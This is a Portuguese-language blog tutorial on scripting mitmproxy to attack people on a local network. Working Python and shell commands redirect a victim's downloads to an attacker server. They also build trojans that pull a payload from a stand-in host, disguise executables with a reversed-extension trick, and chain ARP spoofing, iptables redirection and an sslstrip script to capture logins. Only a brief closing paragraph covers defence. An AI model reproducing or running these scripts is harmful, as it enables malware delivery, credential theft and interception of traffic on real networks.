Israel Helton Wernik

I'm a Cyber Researcher and Python Programmer.

mitmproxy2 - Escrevendo seu próprio script em python

16 Jan 2018 »
mitmproxy script
Com o mitmproxy podemos mudar até algum download que a vítima fizer e colocar algum trojan, virus backdoor. antes vamos ver o que acontece quando a vítima baixa algum arquivo.



Para você acompanhar esse post é necessário conhecer a ferramenta mitmproxy no primeiro post sobre ela aqui:

Vamos fazer um teste em nosso próprio computador para ver o que acontece baixando um arquivo Winzip


Vamos agora no mitmproxy web e procurar pelo arquivo baixado, pode ser qualquer arquivo, .doc . pdf, mas nesse caso foi .exe


Para ver mais informações basta clicar no pacote


Podemos ver o GET com a URL do arquivo, em Host vemos qual é o arquivo

Clicando em Response vemos o código 200 ok, que significa que foi aceito


Podemos clicar no link de download abaixo para baixar o arquivo

Ou em view para ver o arquivo hex seguindo o caminho View - hex - Display anyway


Aqui vemos o conteúdo do arquivo, como ver o html de uma página. e aqui podemos modificar qualquer parte ou todo o arquivo.

O único problema é que o arquivo hexadecimal pode ser grande e conter caracteres que o mitmproxy não vai conseguir lidar corretamente.

Para modificar o conteúdo do arquivo vamos usar Scripts

Outro método é modificar todo o Response e não somente o arquivo hex, mas para isso também precisaremos utilizar script pois o mitmproxy e o mitmdump não aceitam essas modificações sem script

1 Conhecendo o mitmproxy scripts

Mitmproxy possui uma poderosa API de script que permite que você controle quase qualquer aspecto do tráfego recebido pelo proxy.

Vamos utilizar a linguagem Python para criar nossas proprias respostas ou modificar as respostas do usuário.

Assim podemos criar um SSLstrip ou DNSSpoofing, com essas técnicas poderemos criar nossas próprias ferramentas.

Vamos começar com um script bem básico e simples e depois vamos aprender como implementar nossas próprias ideias.

Exemplo Básico
Vamos utilizar um template para todos os scripts escritos
__________________________________________________

import mitmproxy

def request(flow):
#código para manipular fluxo de request(solicitação)

def response(flow):
#código para manipular fluxo de resposta
__________________________________________________

Vamos fazer um teste e pedir para nosso script imprimir os fluxos de request e response


Salvamos esse arquivo no root com o nome de basic.py

Agora vamos rodar o mitmproxy e dizer a ele rodar nosso script para manipular o fluxo.

Abrimos o terminal no /opt/mitmproxy#.

> ./mitmdump -s /root/basic.py
-s - script com o local dele.


O firefox vai enviar todo o fluxo ao mitmproxy, e o mitmproxy vai rodar através de nosso script.

Ao entrarmos no Bing.com teremos em nosso terminal o script rodando


Podemos ver o fluxo de request e o response

2 Filtrando o fluxo com Script

Vamos voltar ao exemplo do início desse tutorial, quando a vítima baixou o Winzip.

Esse é o Request


Esse é a Response


Há algumas formas de como modificar o arquivo baixado, uma delas é modificando o link de download no arquivo html, e já explicamos essa técnica do tutorial mitmproxy 1 com modificações de JavaScript, nesse caso só deve mudar a pesquisa para .exe

Modificando toda a response
Outro método será modificar o conteúdo da solicitação inteira. A vantagem dessa técnica é que a resposta não importa e não precisamos recebê-la, assim pode-se utilizar o método MITM One Way Spoofing (Veja no post sobre Ettercap)

Para isso precisamos diferencia esse fluxo de todos os fluxos que recebemos em nosso Script.

Voltamos para o Código do Script

Como não precisamos da resposta podemos apagar essa parte do código, ficando assim:

import mitmproxy

def request(flow):
#código para manipular fluxo de request(solicitação)

Precisamos criar um código que vai diferenciar o fluxo que solicita o download dos outros fluxos. Para isso precisamos filtrar pelo arquivo que queremos modificar.

Antes vamos deixar nosso código mais eficiente, se repararmos na resposta ele traz diversas informações que não nos interessa


Vamos modificar para que ele só nos mostre a URL limpa, sem todas as outras informações. para isso Só precisamos modificar acrescentando flow.request e também tiramos o def response


novamente rodamos o comando
> ./mitmdump -s /root/basic.py
Entramos no site do winzip novamente (para teste é bom limpar o histórico do navegador)


Podemos ver que está mais limpo e recebemos somente os fluxos de Request.

Mais para cima podemos ver o arquivo de download e podemos reparar que ele finaliza com .exe


Usando Condições para executar código nos pacotes
A parte do fluxo que nos interessamos é do download. Vamos modificar novamente o código e tentar filtrar para ver somente o arquivo .exe

Acrescentaremos o código
print(flow.request.pretty_url)


O código pretty_url irá mostrar somente o código e o resultado será bem mais limpo é só temos URL normais:


Agora se quisermos somente .exe podemos usar um método if

if flow.request.pretty_url.endswith(".exe")
print(flow)

Também vamos acrescentar um texto informando que temos um fluxo interessante


O resultado será:


Esse Script não faz nada de útil ainda, mas é uma base para filtrar. agora vamos aprender a modificar esse fluxo.

Eis o template de filtragem:

__________________________________________________

import mitmproxy

def request(flow):
#código para manipular fluxo de request(solicitação)
#código para filtrar fluxo de request .exe
if flow.request.pretty_url.endswith(".exe")
print("[+] Got interesting flow")
print(flow)

__________________________________________________

Modificando a resposta
Para modificar vamos utilizar em nosso código um método do mitmproxy library.
Veja a documentação completa aqui:

mitmproxy.http.HTTPResponse.make(HTTP STATUS CODE, CONTENT, HEADERS,)

Vamos entender o que significa cada um desses métodos.

Vamos em nosso código modificar o HTTP STATUS CODE

Eis uma lista com o significado de cada código


Em nosso caso iremos utilizar o código 301 Movido Permanentemente que é um código de status de resposta HTTP usado para redirecionamento permanente de URL, o que significa que links ou registros que atualmente utilizem a URL da qual a resposta foi recebida devem ser atualizados para a nova. A nova URL deve ser fornecida no campo Location incluído na resposta.
e podemos ver mais informações de como utilizar aqui: https://pt.wikipedia.org/wiki/HTTP_301

Um exemplo de como ele funciona:

HTTP/1.1 301 Moved Permanently
Location: http://www.example.org/index.asp
Isso é perfeito e só precisamos colocar isso em nosso header acrescentando a nova localização do URL, nesse caso colocaremos um arquivo que está em nosso próprio servidor

mitmproxy.http.HTTPResponse.make(301, CONTENT, {"Location" : "http://10.20.215.8/file.exe"},)

Não precisamos mudar o CONTENT pois já estamos redirecionando a vítima para outro arquivo por isso podemos deletar CONTENT acrescentando ""

mitmproxy.http.HTTPResponse.make(301, "", {"Location" : "http://10.20.215.8/file.exe"},)

Para utilizar esse código no fluxo devemos também acrescentar o código

flow.response =



Testando
Rodamos novamente o mitmdump com o nosso script
> ./mitmdump -s /root/basic.py

Entramos na vítima, deleta o histórico e baixa novamente o winzip na página original

Fomos redirecionado para a página que modificamos e esse é o resultado


Porém temos um problema o Script reconheceu a solicitação do winzip.exe e redirecionou atraves do código 301 para nossa url 10.20.215.8/file.exe mas o problema é que nossa página também finaliza com .exe e é novamente redirecionada entrando em um loop infinito.

Para isso precisamos consertar nosso código dizendo para redirecionar exceto quando for a URL 10.20.215.8/file.exe para isso vamos acrescentar
if flow.request.host != "10.20.215.8" and



__________________________________________________

import mitmproxy

def request(flow):
#código para modificar arquivo .exe
if flow.request.host != "10.20.215.8" and flow.request.pretty_url.endswith(".exe") :
print("[+] Got interesting flow")
flow.response = mitmproxy.http.HTTPResponse.make(301, "", {"Location" : "http://10.20.215.8/file.exe"},)

__________________________________________________

Rodamos novamente o mitmdump com o nosso script
> ./mitmdump -s /root/basic.py

Entramos na vítima, deletamos o histórico e baixamos novamente o winzip na página original


Podemos ver que há um arquivo chamado file.exe from 10.20.215.8

Podemos utilizar para modificar qualquer arquivo, imagem, pdf ou qualquer arquivo.


3 Criando Trojan para trocar com o arquivo

Agora que podemos substituir qualquer arquivo por nosso arquivo vamos aprender a criar um Trojan.

O Cavalo de Tróia ou Trojan Horse é um tipo programa malicioso que podem entrar em um computador disfarçados como um programa comum e legítimo.

Ele serve para possibilitar a abertura de uma porta de forma que usuários mal intencionados possam invadir seu PC.

Os dois tipos mais comuns de Trojans são os Keyloggers (que normalmente são utilizados para roubar senhas) e os Backdoors (arquivos que possibilitam aberturas de portas para invasão).

Quando a vítima roda o arquivo ela não verá nada acontecendo pois tudo está acontecendo no background. Porém as vezes pode aparecer algum aviso e a vítima vai ficar desconfiado.

Dessa forma iremos esconder o Trojan no arquivo que a vítima está esperando, se ela baixar uma musica vai abrir uma musica se for uma foto ela vai ver a foto, se ela receber um pdf ele vai abrir um pdf mas no backgroud estará acionando nossa backdoor.

Há diversas formas de criar um Trojan, em outro artigo explicarei formas manuais de criar que dará mais opções para ser usado em diversos cenários, aqui estarei demonstrando um jeito mais fácil para aprendermos como usar isso com o mitmproxy

Faremos isso com um script em python do TrojanFactory https://github.com/z00z/TrojanFactory  

Instalação:
Depois no terminal deve entrar na pasta downloads
> cd downloads
> ls
Como o arquivo é .exe e estamos no linux precisa rodar com wine
> wine autoit-v3-setup.exe

Clicando enter ira abrir o instalador do Autoit e é só ir concordando.
Agora devemos instalar o TrojanFactory

> cd /opt
> git clone https://github.com/z00z/TrojanFactory.git
> ls
> cd TrojanFactory/
> ls
para rodar o programa
> python tronjan_factory.py

4 Criando o Trojan

Para o Trojan ser eficiente precisamos que ele tenha alguns pontos:
  1. Pareça com um arquivo normal:  imagem, livro, audio, video etc…
  2. Que o arquivo malicioso rode silenciosamente no background
  3. Modificar o ícone
  4. Modificar a extensão do arquivo

Em outro Post vou mostrar como fazer tudo isso manualmente, mas agora vamos fazer com ajuda dessa ferramenta.

Vamos rodar a ferramenta
> python tronjan_factory.py --help


-f: Podemos ver que há um comando para mostrar o arquivo que a vítima irá ver. Se for um PDF por exemplo precisamos colocar o endereço dele, se não estiver na internet precisa estar em nosso próprio webserver no var/www/html

Vamos colocar um pdf qualquer e pesquisamos no google pelo acrobat readme pdf.
pegamos o endereço e copiamos.

Esse é um endereço que levará imediatamente ao arquivo pdf no navegador.

O comando por enquanto será:

> python tronjan_factory.py -f https://pubs.usgs.gov/dds/dds-057/ReadMe.pdf
ainda devemos acrescentar no comando o arquivo malicioso

-e: O URL do arquivo malicioso que pode estará em nosso webserver iniciado com o apache2


Acrescentamos

python tronjan_factory.py -f https://pubs.usgs.gov/dds/dds-057/ReadMe.pdf -e [http://ip do kali]/arquivo malicioso
ex:
python tronjan_factory.py -f https://pubs.usgs.gov/dds/dds-057/ReadMe.pdf -e http://10.20.215.8/evil.exe

Como criar o arquivo malicioso explico no post sobre Backdoor

Outra opção é onde iremos guardar a combinação desses dois arquivos com a opção -o, escolhemos guardar na pasta do webserver para testarmos no windows.
python tronjan_factory.py -f https://pubs.usgs.gov/dds/dds-057/ReadMe.pdf -f http://10.20.215.8/evil.exe -o /var/www/html/ReadMe.exe

Finalmente vamos criar um ícone com o comando -i e a localização do ícone que está em nossa pasta de download  

> python tronjan_factory.py -f https://pubs.usgs.gov/dds/dds-057/ReadMe.pdf -e http://10.20.215.8/evil.exe -o /var/www/html/ReadMe.exe -i /root/Downloads/pdf.ico


Se não houver nenhuma mensagem o arquivo foi criado com sucesso.

Testando no windows podemos ver o arquivo ReadMe com ícone de pdf



5 Utilizando MITMproxy para trocar algum pdf pelo trojan criado


__________________________________________________

import mitmproxy

def request(flow):
#código para modificar arquivo .pdf
if flow.request.host != "10.20.215.8" and flow.request.pretty_url.endswith(".pdf") :
print("[+] Got interesting flow")
flow.response = mitmproxy.http.HTTPResponse.make(301, "", {"Location" : "http://10.20.215.8/ReadMe.pdf"},)

__________________________________________________

Agora só precisa fazer qualquer ataque MITM ou Fake Access Point

> ettercap -Tq -M arp:remote -i eth0 -S /10.20.215.1// /10.20.215.9/

Depois fazemos o acesso ao mitmproxy dentro do /opt/mitmproxy
> ./mitmdump -s /root/basic.py --transparent


Agora o comando iptables para enviar o tráfego da porta 80 para porta 8080
> iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080

O arquivo malicioso pode ser qualquer um, um backdoor, um vírus, e até um keylogger  

6 Criando um Script mais avançado

Iremos criar um Script que quando o alvo baixar algum arquivo, ele irá imediatamente criar um trojan desse arquivo junto com nosso arquivo malicioso.

Vamos acrescentar o código para criar um Trojan em nosso Script, e como ele é um comando bash precisamos fazer o comando python subprocess.call("", shell=True)

O comando python tronjan_factory.py precisa ser rodado dentro do /opt/TrojanFactory, e para rodar ele fora de sua localização é necessário especificar sua localização exata  
subprocess.call("python /opt/TrojanFactory/ tronjan_factory.py...

Agora para fazer o comando dos arquivos, para ser variável dependendo do que o alvo vai baixar. O bom é que o mitmproxy é escrito em python para isso iremos criar uma variável chamada front_file que irá guardar a URL que o alvo baixou e colocar essa variável dentro do comando TrojanFactory (lembrando de fechar as aspas):
front_file = flow.request.pretty

Também devemos criar um + # na linha front_file = flow.request.pretty_url para a vítima não entrar em um loop criando trojans através de trojans e acrescentar o # no evil.exe
_________________________________________________________________________
import mitmproxy
import subprocess

def request(flow):
#code to handle request flows

if flow.request.host != "10.20.215.8" and flow.request.pretty_url.endswith(".pdf"):
print("[+] Got interesting flow")

front_file = flow.request.pretty_url + "#"
subprocess.call("python /opt/TrojanFactory/tronjan_factory.py -f '" + front_file + "' -e http://10.20.215.8/evil.exe# -o /var/www/html/file.exe -i /root/Downloads/pdf.ico", shell=True)

flow.response = mitmproxy.http.HTTPResponse.make(301, "", {"Location":"http://10.20.215.8/file.exe"})

_________________________________________________________________________

Agora vamos testar mitmdump, ettercap, iptables:


Agora quando abrimos ele devemos receber o PDF que o alvo solicitou e não um genérico como aprendemos antes


Voilá


7 Melhorando o Script


O TrojanFactory vem com um script que resolve alguns problemas
  1. pode utilizar para diversos tipos de arquivos de uma só vez
  2. Ele faz Spoof dos arquivos on the fly para eles não ficarem com a extensao .exe
  3. Modifica o Ícone on the fly

Esse Script já foi baixado quando fizemos o clone e ele está no arquivo TrojanFactory com o nome mitmproxy-script.py

Agora só precisa mudar os dados
IP = o IP do Kali
TARGET_TEXTENSIONS = quais arquivos quer
EVIL_FILE = o endereço do Evil file
WEB_ROOT = "/var/www/html/"
SPOOF_EXTENSION = Se quiser fazer Spoof deixar True senão deixar False

import mitmproxy
import subprocess
import os
from Trojan import *


IP = "10.20.215.11"
TARGET_TEXTENSIONS = [".exe", ".pdf", ".mp3"]
EVIL_FILE = "http://10.20.215.8/evil.exe#"
WEB_ROOT = "/var/www/html/"
SPOOF_EXTENSION = True

def request(flow):
#code to handle request flows

if flow.request.host != IP and flow.request.pretty_url.endswith(tuple(TARGET_TEXTENSIONS)):
print("[+] Got interesting flow")

front_file_name = flow.request.pretty_url.split("/")[-1].split(".")[0]
front_file = flow.request.pretty_url + "#"
download_file_name = front_file_name + ".exe"
trojan_file = WEB_ROOT + download_file_name


print("[+] Generating a trojan for " + flow.request.pretty_url)

trojan = Trojan(front_file, EVIL_FILE, None, trojan_file)
trojan.create()
trojan.compile()

if SPOOF_EXTENSION == True:
print("[+] Renaming trojan to spoof its extension")
front_file_extension = flow.request.pretty_url.split("/")[-1].split(".")[-1]
if front_file_extension != "exe":
new_name = front_file_name + "‮" + "".join(reversed(front_file_extension))  + ".exe"
spoofed_file = WEB_ROOT + new_name
os.rename(trojan_file, spoofed_file)

trojan.zip(spoofed_file)
download_file_name = front_file_name + ".zip"


torjan_download_url = "http://" + IP + "/" + download_file_name
flow.response = mitmproxy.http.HTTPResponse.make(301, "", {"Location": torjan_download_url})

Dentro do Trojan Factory tem também uma pasta com os icones

Agora vamos testar mitmdump, ettercap, iptables:

Na vítima baixamos um .txt


Ele vem com o nome humans exatamente como arquivo e vem como .zip pois o file spoofing está ativado e para esconder a extensão .exe ele utiliza .zip

extraindo o arquivo ele terá o nome e escrito exe, porém com o final .txt essa é a única forma de fazer file spoofing, em outro artigo explicarei melhor como fazer isso.


Usando o Mitmproxy em HTTPS

Tudo o que vimos até agora só funciona em páginas http.
As páginas HTTPS
criptografam a mensagem, e os dados não podem ser lidos e nem modificados.

No caso do mitmproxy não será possível utilizar o SSlstrip pois o mitmproxy é um transparent proxy e o SSlstrip também é um transparent proxy e não funciona juntos.

A solução será escrever um script para o mitmproxy que funciona como o SSLstrip para ultrapassar a proteção https.

No Github do mitmproxy há um arquivo chamado sslstrip.py

"""
This script implements an sslstrip-like attack based on mitmproxy.
https://moxie.org/software/sslstrip/
"""
import re
import urllib.parse
import typing  # noqa

from mitmproxy import http

# set of SSL/TLS capable hosts
secure_hosts = set()  # type: typing.Set[str]


def request(flow: http.HTTPFlow) -> None:
   flow.request.headers.pop('If-Modified-Since', None)
   flow.request.headers.pop('Cache-Control', None)

   # do not force https redirection
   flow.request.headers.pop('Upgrade-Insecure-Requests', None)

   # proxy connections to SSL-enabled hosts
   if flow.request.pretty_host in secure_hosts:
       flow.request.scheme = 'https'
       flow.request.port = 443

       # We need to update the request destination to whatever is specified in the host header:
       # Having no TLS Server Name Indication from the client and just an IP address as request.host
       # in transparent mode, TLS server name certificate validation would fail.
       flow.request.host = flow.request.pretty_host


def response(flow: http.HTTPFlow) -> None:
   flow.response.headers.pop('Strict-Transport-Security', None)
   flow.response.headers.pop('Public-Key-Pins', None)

   # strip links in response body
   flow.response.content = flow.response.content.replace(b'https://', b'http://')

   # strip meta tag upgrade-insecure-requests in response body
   csp_meta_tag_pattern = b'<meta.*http-equiv=["\']Content-Security-Policy[\'"].*upgrade-insecure-requests.*?>'
   flow.response.content = re.sub(csp_meta_tag_pattern, b'', flow.response.content, flags=re.IGNORECASE)

   # strip links in 'Location' header
   if flow.response.headers.get('Location', '').startswith('https://'):
       location = flow.response.headers['Location']
       hostname = urllib.parse.urlparse(location).hostname
       if hostname:
           secure_hosts.add(hostname)
       flow.response.headers['Location'] = location.replace('https://', 'http://', 1)

   # strip upgrade-insecure-requests in Content-Security-Policy header
   if re.search('upgrade-insecure-requests', flow.response.headers.get('Content-Security-Policy', ''), flags=re.IGNORECASE):
       csp = flow.response.headers['Content-Security-Policy']
       flow.response.headers['Content-Security-Policy'] = re.sub('upgrade-insecure-requests[;\s]*', '', csp, flags=re.IGNORECASE)

   # strip secure flag from 'Set-Cookie' headers
   cookies = flow.response.headers.get_all('Set-Cookie')
   cookies = [re.sub(r';\s*secure\s*', '', s) for s in cookies]
   flow.response.headers.set_all('Set-Cookie', cookies)

Vale a pena salvar esse script na página do mitmproxy com o nome sslstrip.py

Para utilizar é só fazer o ataque mitm
iniciar o mitmproxy com o comando
./mitmdump -s sslstrip.py --transparent

E depois rodar o iptables


Testando vemos que funcionou


Indo ao Kali podemos ver a senha e Login de um site Https que fez downgrade para http

Agora que conhecemos como funciona vamos utilizar essa técnica para fazer todos os outros ataques que aprendemos.

O mitmproxy permite utilizar diversos scrips simultaneamente acrescentando mais um comando  -s [script]
./mitmdump -s sslstrip.py -s root/basic.py --transparent

Defesa

Para descobrir se você está em um ataque mitm pode-se utilizar uma ferramenta chamada xARP
Essa ferramenta somente detecta que você está sendo atacado.

Há um plugin que funciona para proteger do ataque que é o HTTPS Everywhere https://www.eff.org/https-everywhere que sempre manterá  conexão criptografado mesmo se o hacker utilizar SSLstrip